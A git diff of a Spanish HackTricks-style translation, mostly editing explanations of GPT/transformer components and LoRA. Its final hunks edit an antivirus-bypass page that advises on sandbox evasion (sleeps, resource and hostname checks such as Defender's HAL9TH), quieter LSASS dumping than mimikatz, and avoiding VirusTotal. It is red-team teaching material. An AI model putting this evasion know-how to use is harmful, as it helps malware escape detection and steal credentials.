Si bien permitir que cada cabeza procese todas las dimensiones de embedding podría parecer ventajoso porque cada cabeza tendría acceso a toda la información, la práctica estándar es **dividir las dimensiones de embedding entre las cabezas**. Este enfoque equilibra la eficiencia computacional con el rendimiento del modelo y fomenta que cada cabeza aprenda representaciones diversas. Por lo tanto, dividir las dimensiones de embedding se prefiere generalmente a que cada cabeza verifique todas las dimensiones.
|
Si bien permitir que cada cabeza procese todas las dimensiones de embedding podría parecer ventajoso porque cada cabeza tendría acceso a toda la información, la práctica estándar es **dividir las dimensiones de embedding entre las cabezas**. Este enfoque equilibra la eficiencia computacional con el rendimiento del modelo y fomenta que cada cabeza aprenda representaciones diversas. Por lo tanto, dividir las dimensiones de embedding se prefiere generalmente sobre permitir que cada cabeza verifique todas las dimensiones.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Referencias
|
## Referencias
|
||||||
|
|
|
@ -12,7 +12,7 @@ Ejemplo de arquitectura LLM de [https://github.com/rasbt/LLMs-from-scratch/blob/
|
||||||
|
|
||||||
Se puede observar una representación de alto nivel en:
|
Se puede observar una representación de alto nivel en:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||||
|
|
||||||
1. **Entrada (Texto Tokenizado)**: El proceso comienza con texto tokenizado, que se convierte en representaciones numéricas.
|
1. **Entrada (Texto Tokenizado)**: El proceso comienza con texto tokenizado, que se convierte en representaciones numéricas.
|
||||||
2. **Capa de Embedding de Tokens y Capa de Embedding Posicional**: El texto tokenizado pasa a través de una **capa de embedding de tokens** y una **capa de embedding posicional**, que captura la posición de los tokens en una secuencia, crítica para entender el orden de las palabras.
|
2. **Capa de Embedding de Tokens y Capa de Embedding Posicional**: El texto tokenizado pasa a través de una **capa de embedding de tokens** y una **capa de embedding posicional**, que captura la posición de los tokens en una secuencia, crítica para entender el orden de las palabras.
|
||||||
|
@ -215,7 +215,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||||
* **Activación Suave:** A diferencia de ReLU, que anula las entradas negativas, GELU mapea suavemente las entradas a salidas, permitiendo valores pequeños y no nulos para entradas negativas.
|
* **Activación Suave:** A diferencia de ReLU, que anula las entradas negativas, GELU mapea suavemente las entradas a salidas, permitiendo valores pequeños y no nulos para entradas negativas.
|
||||||
* **Definición Matemática:**
|
* **Definición Matemática:**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
El objetivo del uso de esta función después de las capas lineales dentro de la capa FeedForward es cambiar los datos lineales a no lineales para permitir que el modelo aprenda relaciones complejas y no lineales.
|
El objetivo del uso de esta función después de las capas lineales dentro de la capa FeedForward es cambiar los datos lineales a no lineales para permitir que el modelo aprenda relaciones complejas y no lineales.
|
||||||
|
@ -252,7 +252,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||||
* **Segunda Capa Lineal:** Reduce la dimensionalidad de nuevo a `emb_dim`.
|
* **Segunda Capa Lineal:** Reduce la dimensionalidad de nuevo a `emb_dim`.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Como puedes ver, la red Feed Forward utiliza 3 capas. La primera es una capa lineal que multiplicará las dimensiones por 4 usando pesos lineales (parámetros a entrenar dentro del modelo). Luego, se utiliza la función GELU en todas esas dimensiones para aplicar variaciones no lineales y capturar representaciones más ricas y, finalmente, se utiliza otra capa lineal para volver al tamaño original de las dimensiones.
|
Como puedes ver, la red Feed Forward utiliza 3 capas. La primera es una capa lineal que multiplicará las dimensiones por 4 utilizando pesos lineales (parámetros a entrenar dentro del modelo). Luego, se utiliza la función GELU en todas esas dimensiones para aplicar variaciones no lineales y capturar representaciones más ricas y, finalmente, se utiliza otra capa lineal para volver al tamaño original de las dimensiones.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **Mecanismo de Atención Multi-Cabeza**
|
### **Mecanismo de Atención Multi-Cabeza**
|
||||||
|
@ -274,7 +274,7 @@ Esto ya fue explicado en una sección anterior.
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
El objetivo de esta red es encontrar las relaciones entre tokens en el mismo contexto. Además, los tokens se dividen en diferentes cabezas para prevenir el sobreajuste, aunque las relaciones finales encontradas por cabeza se combinan al final de esta red.
|
El objetivo de esta red es encontrar las relaciones entre tokens en el mismo contexto. Además, los tokens se dividen en diferentes cabezas para prevenir el sobreajuste, aunque las relaciones finales encontradas por cabeza se combinan al final de esta red.
|
||||||
|
|
||||||
Además, durante el entrenamiento se aplica una **máscara causal** para que los tokens posteriores no se tengan en cuenta al buscar las relaciones específicas con un token y también se aplica algo de **dropout** para **prevenir el sobreajuste**.
|
Además, durante el entrenamiento se aplica una **máscara causal** para que los tokens posteriores no se tengan en cuenta al buscar las relaciones específicas con un token y también se aplica un **dropout** para **prevenir el sobreajuste**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **Normalización de Capa**
|
### **Normalización de Capa**
|
||||||
|
@ -295,18 +295,18 @@ return self.scale * norm_x + self.shift
|
||||||
```
|
```
|
||||||
#### **Propósito y Funcionalidad**
|
#### **Propósito y Funcionalidad**
|
||||||
|
|
||||||
* **Normalización por Capas:** Una técnica utilizada para normalizar las entradas a través de las características (dimensiones de incrustación) para cada ejemplo individual en un lote.
|
* **Layer Normalization:** Una técnica utilizada para normalizar las entradas a través de las características (dimensiones de embedding) para cada ejemplo individual en un lote.
|
||||||
* **Componentes:**
|
* **Componentes:**
|
||||||
* **`eps`:** Una constante pequeña (`1e-5`) añadida a la varianza para prevenir la división por cero durante la normalización.
|
* **`eps`:** Una constante pequeña (`1e-5`) añadida a la varianza para prevenir la división por cero durante la normalización.
|
||||||
* **`scale` y `shift`:** Parámetros aprendibles (`nn.Parameter`) que permiten al modelo escalar y desplazar la salida normalizada. Se inicializan en uno y cero, respectivamente.
|
* **`scale` y `shift`:** Parámetros aprendibles (`nn.Parameter`) que permiten al modelo escalar y desplazar la salida normalizada. Se inicializan en unos y ceros, respectivamente.
|
||||||
* **Proceso de Normalización:**
|
* **Proceso de Normalización:**
|
||||||
* **Calcular Media (`mean`):** Calcula la media de la entrada `x` a través de la dimensión de incrustación (`dim=-1`), manteniendo la dimensión para la difusión (`keepdim=True`).
|
* **Calcular Media (`mean`):** Calcula la media de la entrada `x` a través de la dimensión de embedding (`dim=-1`), manteniendo la dimensión para la difusión (`keepdim=True`).
|
||||||
* **Calcular Varianza (`var`):** Calcula la varianza de `x` a través de la dimensión de incrustación, también manteniendo la dimensión. El parámetro `unbiased=False` asegura que la varianza se calcule utilizando el estimador sesgado (dividiendo por `N` en lugar de `N-1`), lo cual es apropiado al normalizar sobre características en lugar de muestras.
|
* **Calcular Varianza (`var`):** Calcula la varianza de `x` a través de la dimensión de embedding, también manteniendo la dimensión. El parámetro `unbiased=False` asegura que la varianza se calcule utilizando el estimador sesgado (dividiendo por `N` en lugar de `N-1`), lo cual es apropiado al normalizar sobre características en lugar de muestras.
|
||||||
* **Normalizar (`norm_x`):** Resta la media de `x` y divide por la raíz cuadrada de la varianza más `eps`.
|
* **Normalizar (`norm_x`):** Resta la media de `x` y divide por la raíz cuadrada de la varianza más `eps`.
|
||||||
* **Escalar y Desplazar:** Aplica los parámetros aprendibles `scale` y `shift` a la salida normalizada.
|
* **Escalar y Desplazar:** Aplica los parámetros aprendibles `scale` y `shift` a la salida normalizada.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
El objetivo es asegurar una media de 0 con una varianza de 1 a través de todas las dimensiones del mismo token. El objetivo de esto es **estabilizar el entrenamiento de redes neuronales profundas** al reducir el cambio interno de covariables, que se refiere al cambio en la distribución de las activaciones de la red debido a la actualización de parámetros durante el entrenamiento.
|
El objetivo es asegurar una media de 0 con una varianza de 1 a través de todas las dimensiones del mismo token. El objetivo de esto es **estabilizar el entrenamiento de redes neuronales profundas** al reducir el cambio de covariables internas, que se refiere al cambio en la distribución de las activaciones de la red debido a la actualización de parámetros durante el entrenamiento.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **Bloque Transformer**
|
### **Bloque Transformer**
|
||||||
|
@ -355,7 +355,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||||
|
|
||||||
* **Composición de Capas:** Combina atención multi-cabeza, red de avance, normalización de capas y conexiones residuales.
|
* **Composición de Capas:** Combina atención multi-cabeza, red de avance, normalización de capas y conexiones residuales.
|
||||||
* **Normalización de Capas:** Aplicada antes de las capas de atención y avance para un entrenamiento estable.
|
* **Normalización de Capas:** Aplicada antes de las capas de atención y avance para un entrenamiento estable.
|
||||||
* **Conexiones Residuales (Atajos):** Agrega la entrada de una capa a su salida para mejorar el flujo de gradientes y permitir el entrenamiento de redes profundas.
|
* **Conexiones Residuales (Atajos):** Añade la entrada de una capa a su salida para mejorar el flujo de gradientes y permitir el entrenamiento de redes profundas.
|
||||||
* **Dropout:** Aplicado después de las capas de atención y avance para regularización.
|
* **Dropout:** Aplicado después de las capas de atención y avance para regularización.
|
||||||
|
|
||||||
#### **Funcionalidad Paso a Paso**
|
#### **Funcionalidad Paso a Paso**
|
||||||
|
@ -365,19 +365,19 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||||
* **Norma de Capa (`norm1`):** Normaliza la entrada.
|
* **Norma de Capa (`norm1`):** Normaliza la entrada.
|
||||||
* **Atención Multi-Cabeza (`att`):** Aplica autoatención.
|
* **Atención Multi-Cabeza (`att`):** Aplica autoatención.
|
||||||
* **Dropout (`drop_shortcut`):** Aplica dropout para regularización.
|
* **Dropout (`drop_shortcut`):** Aplica dropout para regularización.
|
||||||
* **Agregar Residual (`x + shortcut`):** Combina con la entrada original.
|
* **Añadir Residual (`x + shortcut`):** Combina con la entrada original.
|
||||||
2. **Segundo Camino Residual (FeedForward):**
|
2. **Segundo Camino Residual (FeedForward):**
|
||||||
* **Entrada (`shortcut`):** Guarda la entrada actualizada para la siguiente conexión residual.
|
* **Entrada (`shortcut`):** Guarda la entrada actualizada para la siguiente conexión residual.
|
||||||
* **Norma de Capa (`norm2`):** Normaliza la entrada.
|
* **Norma de Capa (`norm2`):** Normaliza la entrada.
|
||||||
* **Red de Avance (`ff`):** Aplica la transformación de avance.
|
* **Red de Avance (`ff`):** Aplica la transformación de avance.
|
||||||
* **Dropout (`drop_shortcut`):** Aplica dropout.
|
* **Dropout (`drop_shortcut`):** Aplica dropout.
|
||||||
* **Agregar Residual (`x + shortcut`):** Combina con la entrada del primer camino residual.
|
* **Añadir Residual (`x + shortcut`):** Combina con la entrada del primer camino residual.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
El bloque transformer agrupa todas las redes y aplica alguna **normalización** y **dropouts** para mejorar la estabilidad y los resultados del entrenamiento.\
|
El bloque transformer agrupa todas las redes y aplica alguna **normalización** y **dropouts** para mejorar la estabilidad y los resultados del entrenamiento.\
|
||||||
Nota cómo se realizan los dropouts después del uso de cada red mientras que la normalización se aplica antes.
|
Nota cómo los dropouts se realizan después del uso de cada red mientras que la normalización se aplica antes.
|
||||||
|
|
||||||
Además, también utiliza atajos que consisten en **agregar la salida de una red con su entrada**. Esto ayuda a prevenir el problema del gradiente que se desvanece al asegurarse de que las capas iniciales contribuyan "tanto" como las últimas.
|
Además, también utiliza atajos que consisten en **añadir la salida de una red con su entrada**. Esto ayuda a prevenir el problema del gradiente que se desvanece al asegurar que las capas iniciales contribuyan "tanto" como las últimas.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **GPTModel**
|
### **GPTModel**
|
||||||
|
@ -440,8 +440,8 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||||
#### **Propósito y Funcionalidad**
|
#### **Propósito y Funcionalidad**
|
||||||
|
|
||||||
* **Capas de Embedding:**
|
* **Capas de Embedding:**
|
||||||
* **Embeddings de Tokens (`tok_emb`):** Convierte índices de tokens en embeddings. Como recordatorio, estos son los pesos dados a cada dimensión de cada token en el vocabulario.
|
* **Token Embeddings (`tok_emb`):** Convierte índices de tokens en embeddings. Como recordatorio, estos son los pesos dados a cada dimensión de cada token en el vocabulario.
|
||||||
* **Embeddings Posicionales (`pos_emb`):** Agrega información posicional a los embeddings para capturar el orden de los tokens. Como recordatorio, estos son los pesos dados a los tokens según su posición en el texto.
|
* **Positional Embeddings (`pos_emb`):** Agrega información posicional a los embeddings para capturar el orden de los tokens. Como recordatorio, estos son los pesos dados a los tokens según su posición en el texto.
|
||||||
* **Dropout (`drop_emb`):** Aplicado a los embeddings para regularización.
|
* **Dropout (`drop_emb`):** Aplicado a los embeddings para regularización.
|
||||||
* **Bloques de Transformer (`trf_blocks`):** Pila de `n_layers` bloques de transformer para procesar embeddings.
|
* **Bloques de Transformer (`trf_blocks`):** Pila de `n_layers` bloques de transformer para procesar embeddings.
|
||||||
* **Normalización Final (`final_norm`):** Normalización de capa antes de la capa de salida.
|
* **Normalización Final (`final_norm`):** Normalización de capa antes de la capa de salida.
|
||||||
|
@ -450,7 +450,7 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
El objetivo de esta clase es usar todas las otras redes mencionadas para **predecir el siguiente token en una secuencia**, lo cual es fundamental para tareas como la generación de texto.
|
El objetivo de esta clase es usar todas las otras redes mencionadas para **predecir el siguiente token en una secuencia**, lo cual es fundamental para tareas como la generación de texto.
|
||||||
|
|
||||||
Nota cómo **usará tantos bloques de transformer como se indique** y que cada bloque de transformer utiliza una red de atención multi-cabeza, una red de avance y varias normalizaciones. Así que si se utilizan 12 bloques de transformer, multiplica esto por 12.
|
Nota cómo **usará tantos bloques de transformer como se indique** y que cada bloque de transformer está utilizando una red de atención multi-cabeza, una red de avance y varias normalizaciones. Así que si se utilizan 12 bloques de transformer, multiplica esto por 12.
|
||||||
|
|
||||||
Además, se agrega una capa de **normalización** **antes** de la **salida** y se aplica una capa lineal final al final para obtener los resultados con las dimensiones adecuadas. Nota cómo cada vector final tiene el tamaño del vocabulario utilizado. Esto se debe a que está tratando de obtener una probabilidad por cada token posible dentro del vocabulario.
|
Además, se agrega una capa de **normalización** **antes** de la **salida** y se aplica una capa lineal final al final para obtener los resultados con las dimensiones adecuadas. Nota cómo cada vector final tiene el tamaño del vocabulario utilizado. Esto se debe a que está tratando de obtener una probabilidad por cada token posible dentro del vocabulario.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -580,7 +580,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||||
|
|
||||||
**a. Normalización de la Capa Final**
|
**a. Normalización de la Capa Final**
|
||||||
|
|
||||||
* **Parámetros:** `2 * emb_dim` (escalar y desplazar)
|
* **Parámetros:** `2 * emb_dim` (escala y desplazamiento)
|
||||||
```python
|
```python
|
||||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||||
```
|
```
|
||||||
|
|
|
@ -9,12 +9,12 @@ El uso de **LoRA reduce mucho la computación** necesaria para **ajustar finamen
|
||||||
LoRA hace posible ajustar finamente **modelos grandes** de manera eficiente al cambiar solo una **pequeña parte** del modelo. Reduce el número de parámetros que necesitas entrenar, ahorrando **memoria** y **recursos computacionales**. Esto se debe a que:
|
LoRA hace posible ajustar finamente **modelos grandes** de manera eficiente al cambiar solo una **pequeña parte** del modelo. Reduce el número de parámetros que necesitas entrenar, ahorrando **memoria** y **recursos computacionales**. Esto se debe a que:
|
||||||
|
|
||||||
1. **Reduce el Número de Parámetros Entrenables**: En lugar de actualizar toda la matriz de pesos en el modelo, LoRA **divide** la matriz de pesos en dos matrices más pequeñas (llamadas **A** y **B**). Esto hace que el entrenamiento sea **más rápido** y requiera **menos memoria** porque se necesitan actualizar menos parámetros.
|
1. **Reduce el Número de Parámetros Entrenables**: En lugar de actualizar toda la matriz de pesos en el modelo, LoRA **divide** la matriz de pesos en dos matrices más pequeñas (llamadas **A** y **B**). Esto hace que el entrenamiento sea **más rápido** y requiera **menos memoria** porque se necesitan actualizar menos parámetros.
|
||||||
1. Esto se debe a que, en lugar de calcular la actualización completa de pesos de una capa (matriz), se aproxima a un producto de 2 matrices más pequeñas, reduciendo la actualización a calcular:\
|
1. Esto se debe a que, en lugar de calcular la actualización completa de pesos de una capa (matriz), se aproxima a un producto de 2 matrices más pequeñas, reduciendo la actualización a calcular:\
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
2. **Mantiene los Pesos del Modelo Original Sin Cambios**: LoRA te permite mantener los pesos del modelo original iguales y solo actualizar las **nuevas matrices pequeñas** (A y B). Esto es útil porque significa que el conocimiento original del modelo se preserva y solo ajustas lo que es necesario.
|
2. **Mantiene los Pesos del Modelo Original Sin Cambios**: LoRA te permite mantener los pesos del modelo original iguales y solo actualizar las **nuevas matrices pequeñas** (A y B). Esto es útil porque significa que el conocimiento original del modelo se preserva y solo ajustas lo que es necesario.
|
||||||
3. **Ajuste Fino Eficiente Específico de Tareas**: Cuando deseas adaptar el modelo a una **nueva tarea**, puedes entrenar solo las **pequeñas matrices LoRA** (A y B) mientras dejas el resto del modelo tal como está. Esto es **mucho más eficiente** que volver a entrenar todo el modelo.
|
3. **Ajuste Fino Específico de Tareas Eficiente**: Cuando deseas adaptar el modelo a una **nueva tarea**, puedes entrenar solo las **pequeñas matrices LoRA** (A y B) mientras dejas el resto del modelo tal como está. Esto es **mucho más eficiente** que volver a entrenar todo el modelo.
|
||||||
4. **Eficiencia de Almacenamiento**: Después del ajuste fino, en lugar de guardar un **modelo completamente nuevo** para cada tarea, solo necesitas almacenar las **matrices LoRA**, que son muy pequeñas en comparación con el modelo completo. Esto facilita la adaptación del modelo a muchas tareas sin usar demasiado almacenamiento.
|
4. **Eficiencia de Almacenamiento**: Después del ajuste fino, en lugar de guardar un **modelo completamente nuevo** para cada tarea, solo necesitas almacenar las **matrices LoRA**, que son muy pequeñas en comparación con el modelo completo. Esto facilita la adaptación del modelo a muchas tareas sin usar demasiado almacenamiento.
|
||||||
|
|
||||||
Para implementar LoraLayers en lugar de las lineales durante un ajuste fino, se propone este código aquí [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):
|
Para implementar LoraLayers en lugar de las lineales durante un ajuste fino, se propone este código aquí [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):
|
||||||
|
|
|
@ -1,27 +1,27 @@
|
||||||
# Bypass de Antivirus (AV)
|
# Antivirus (AV) Bypass
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoya a HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
**Esta página fue escrita por** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
**This page was written by** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
||||||
|
|
||||||
## **Metodología de Evasión de AV**
|
## **Metodología de Evasión de AV**
|
||||||
|
|
||||||
|
@ -51,10 +51,10 @@ Te recomiendo encarecidamente que revises esta [lista de reproducción de YouTub
|
||||||
|
|
||||||
### **Análisis dinámico**
|
### **Análisis dinámico**
|
||||||
|
|
||||||
El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa la actividad maliciosa (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más complicada de manejar, pero aquí hay algunas cosas que puedes hacer para evadir sandboxes.
|
El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa la actividad maliciosa (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más complicada de manejar, pero aquí hay algunas cosas que puedes hacer para evadir los sandboxes.
|
||||||
|
|
||||||
* **Dormir antes de la ejecución** Dependiendo de cómo esté implementado, puede ser una gran manera de eludir el análisis dinámico del AV. Los AV tienen un tiempo muy corto para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largos períodos de espera puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente omitir el sueño dependiendo de cómo esté implementado.
|
* **Dormir antes de la ejecución** Dependiendo de cómo esté implementado, puede ser una gran manera de eludir el análisis dinámico del AV. Los AV tienen un tiempo muy corto para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largos períodos de espera puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente omitir el sueño dependiendo de cómo esté implementado.
|
||||||
* **Verificar los recursos de la máquina** Generalmente, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB de RAM), de lo contrario, podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades de los ventiladores, no todo estará implementado en el sandbox.
|
* **Verificar los recursos de la máquina** Generalmente, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB de RAM), de lo contrario, podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades del ventilador, no todo estará implementado en el sandbox.
|
||||||
* **Verificaciones específicas de la máquina** Si deseas dirigirte a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes hacer una verificación en el dominio de la computadora para ver si coincide con el que has especificado, si no coincide, puedes hacer que tu programa salga.
|
* **Verificaciones específicas de la máquina** Si deseas dirigirte a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes hacer una verificación en el dominio de la computadora para ver si coincide con el que has especificado, si no coincide, puedes hacer que tu programa salga.
|
||||||
|
|
||||||
Resulta que el nombre de la computadora del Sandbox de Microsoft Defender es HAL9TH, así que puedes verificar el nombre de la computadora en tu malware antes de la detonación, si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa salga.
|
Resulta que el nombre de la computadora del Sandbox de Microsoft Defender es HAL9TH, así que puedes verificar el nombre de la computadora en tu malware antes de la detonación, si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa salga.
|
||||||
|
@ -65,11 +65,11 @@ Algunos otros consejos realmente buenos de [@mgeeky](https://twitter.com/mariusz
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
|
||||||
|
|
||||||
Como hemos dicho antes en este post, **las herramientas públicas** eventualmente **serán detectadas**, así que, deberías preguntarte algo:
|
Como hemos dicho antes en este post, **las herramientas públicas** eventualmente **serán detectadas**, así que deberías preguntarte algo:
|
||||||
|
|
||||||
Por ejemplo, si deseas volcar LSASS, **¿realmente necesitas usar mimikatz**? ¿O podrías usar un proyecto diferente que sea menos conocido y que también voltee LSASS?
|
Por ejemplo, si deseas volcar LSASS, **¿realmente necesitas usar mimikatz**? ¿O podrías usar un proyecto diferente que sea menos conocido y que también volque LSASS?
|
||||||
|
|
||||||
La respuesta correcta es probablemente la última. Tomando a mimikatz como ejemplo, probablemente sea una de, si no la más, pieza de malware más marcada por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr.
|
La respuesta correcta es probablemente la última. Tomando a mimikatz como ejemplo, probablemente sea una de, si no la pieza de malware más marcada por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Al modificar tus cargas útiles para la evasión, asegúrate de **desactivar la presentación automática de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si deseas verificar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
|
Al modificar tus cargas útiles para la evasión, asegúrate de **desactivar la presentación automática de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si deseas verificar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
|
||||||
|
@ -87,7 +87,7 @@ Ahora mostraremos algunos trucos que puedes usar con archivos DLL para ser mucho
|
||||||
|
|
||||||
## Carga lateral de DLL y Proxying
|
## Carga lateral de DLL y Proxying
|
||||||
|
|
||||||
